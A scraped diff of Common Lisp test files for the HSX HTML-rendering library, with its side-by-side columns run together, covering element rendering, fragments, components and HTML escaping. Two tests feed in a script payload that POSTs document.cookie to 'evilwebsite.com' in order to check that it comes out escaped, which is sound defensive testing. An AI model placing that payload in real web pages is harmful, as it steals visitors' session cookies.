(is (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>" nil
(render-to-string (list (create-element :li
(create-element :div nil
nil (list "bar"))
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))) (create-element :li
nil
(test non-escaping-tag (list "baz"))))))
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>" (ok (string= #M"<li>bar</li>
(render-to-string
(create-element :script
nil
"alert('<< Do not embed user-generated contents here! >>')")))))
(test fragment
(let ((frg (create-element :<>
nil
(list (create-element :li
nil
(list "bar"))
(create-element :li
nil
(list "baz"))))))
(is (string= #M"<li>bar</li>
<li>baz</li>" <li>baz</li>"
(render-to-string frg :pretty t))) (render-to-string frg :pretty t)))
(is (string= #M"<ul> (ok (string= #M"<ul>
\ <li>foo</li> \ <li>foo</li>
\ <li>bar</li> \ <li>bar</li>
\ <li>baz</li> \ <li>baz</li>
\ <li>brah</li> \ <li>brah</li>
</ul>" </ul>"
(render-to-string (create-element :ul (render-to-string (create-element :ul
nil nil
(list (create-element :li (list (create-element :li
nil nil
(list "foo")) (list "foo"))
frg frg
(create-element :li (create-element :li
nil nil
(list "brah")))) (list "brah"))))
:pretty t))))) :pretty t)))))
(testing "raw-fragment"
(ok (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
(render-to-string
(create-element :div
nil
(list "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))
(ok (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
(render-to-string
(create-element :script
nil
(create-element :raw!
nil
"alert('<< Do not embed user-generated contents here! >>')"))))))
(testing "minify-props-text"
(let ((elm (create-element :div
'(:x-data "{
open: false,
get isOpen() { return this.open },
toggle() { this.open = ! this.open },
}")
nil)))
(ok (string= (render-to-string elm)
"<div x-data=\"{ open: false, get isOpen() { return this.open }, toggle() { this.open = ! this.open }, }\"></div>")))))
(defun comp1 (&key prop children) (defun comp1 (&key prop children)
(create-element :div (create-element :div
@ -147,26 +156,12 @@
(list prop (list prop
children))) children)))
(test component-accepting-keyword-args
(let ((elm (expand-component (create-element #'comp1
'(:prop "value")
(list "child")))))
(is (eq :div (element-type elm)))
(is (equal (list "value" "child") (element-children elm)))))
(defun comp2 (&rest props) (defun comp2 (&rest props)
(create-element :div (create-element :div
nil nil
(list (getf props :prop) (list (getf props :prop)
(getf props :children)))) (getf props :children))))
(test component-accepting-property-list
(let ((elm (expand-component (create-element #'comp2
'(:prop "value")
(list "child")))))
(is (eq :div (element-type elm)))
(is (equal (list "value" "child") (element-children elm)))))
(defun comp3 (&rest props &key prop children &allow-other-keys) (defun comp3 (&rest props &key prop children &allow-other-keys)
(create-element :div (create-element :div
nil nil
@ -174,9 +169,24 @@
children children
(getf props :other-key)))) (getf props :other-key))))
(test component-accepting-keyword-args-and-property-list (deftest component-test
(let ((elm (expand-component (create-element #'comp3 (testing "component-accepting-keyword-args"
'(:prop "value" :other-key "other") (let ((elm (expand-component (create-element #'comp1
(list "child"))))) '(:prop "value")
(is (eq :div (element-type elm))) (list "child")))))
(is (equal (list "value" "child" "other") (element-children elm))))) (ok (eq :div (element-type elm)))
(ok (equal (list "value" "child") (element-children elm)))))
(testing "component-accepting-property-list"
(let ((elm (expand-component (create-element #'comp2
'(:prop "value")
(list "child")))))
(ok (eq :div (element-type elm)))
(ok (equal (list "value" "child") (element-children elm)))))
(testing "component-accepting-keyword-args-and-property-list"
(let ((elm (expand-component (create-element #'comp3
'(:prop "value" :other-key "other")
(list "child")))))
(ok (eq :div (element-type elm)))
(ok (equal (list "value" "child" "other") (element-children elm))))))

View file

@ -1,16 +0,0 @@
(defpackage #:hsx-test/escaper
(:use #:cl
#:fiveam
#:hsx/escaper))
(in-package #:hsx-test/escaper)
(def-suite escaper-test)
(in-suite escaper-test)
(test escape-html-attribute
(is (equal "&quot;foo&quot;"
(escape-html-attribute "\"foo\""))))
(test escape-html-text-content
(is (string= "&amp;&lt;&gt;&quot;&#x27;&#x2F;&grave;&#x3D;"
(escape-html-text-content "&<>\"'/`="))))

View file

@ -1,16 +0,0 @@
(defpackage #:hsx-test/group
(:use #:cl
#:fiveam
#:hsx/group))
(in-package #:hsx-test/group)
(def-suite group-test)
(in-suite group-test)
(defgroup fruit
apple banana orange)
(test defgroup
(is (hash-table-p *fruit*))
(is (fruit-p :apple))
(is (not (fruit-p :tomato))))

View file

@ -1,69 +0,0 @@
(defpackage #:hsx-test/hsx
(:use #:cl
#:fiveam
#:hsx/hsx
#:hsx/builtin)
(:import-from #:hsx/element
#:element-props
#:element-children))
(in-package #:hsx-test/hsx)
(def-suite hsx-test)
(in-suite hsx-test)
(test find-symbols
(is (equal '(hsx/builtin:div '(:div "div")
div
(hsx/builtin:div
'div
(hsx/builtin:div)
:div)
"div")
(macroexpand-1
'(hsx (div '(:div "div")
div
(div
'div
(div)
:div)
"div"))))))
(test empty-hsx
(let ((elm (div)))
(is (null (element-props elm)))
(is (null (element-children elm)))))
(test hsx-with-static-props
(let ((elm (div :prop1 "value1" :prop2 "value2")))
(is (equal '(:prop1 "value1" :prop2 "value2")
(element-props elm)))
(is (null (element-children elm)))))
(test hsx-with-dynamic-props
(let* ((props '(:prop1 "value1" :prop2 "value2"))
(elm (div props)))
(is (equal props (element-props elm)))
(is (null (element-children elm)))))
(test hsx-with-children
(let ((elm (div
"child1"
"child2")))
(is (null (element-props elm)))
(is (equal (list "child1" "child2") (element-children elm)))))
(test hsx-with-static-props-and-children
(let ((elm (div :prop1 "value1" :prop2 "value2"
"child1"
"child2")))
(is (equal '(:prop1 "value1" :prop2 "value2")
(element-props elm)))
(is (equal (list "child1" "child2") (element-children elm)))))
(test hsx-with-dynamic-props-and-children
(let* ((props '(:prop1 "value1" :prop2 "value2"))
(elm (div props
"child1"
"child2")))
(is (equal props (element-props elm)))
(is (equal (list "child1" "child2") (element-children elm)))))

14
tests/utils.lisp Normal file
View file

@ -0,0 +1,14 @@
(defpackage #:hsx-test/utils
(:use #:cl
#:rove
#:hsx/utils))
(in-package #:hsx-test/utils)
(deftest text-util-test
(testing "escape-html-attribute"
(ok (string= "&quot;foo&quot;"
(escape-html-attribute "\"foo\""))))
(testing "escape-html-text-content"
(ok (string= "&amp;&lt;&gt;&quot;&#x27;&#x2F;&grave;&#x3D;"
(escape-html-text-content "&<>\"'/`=")))))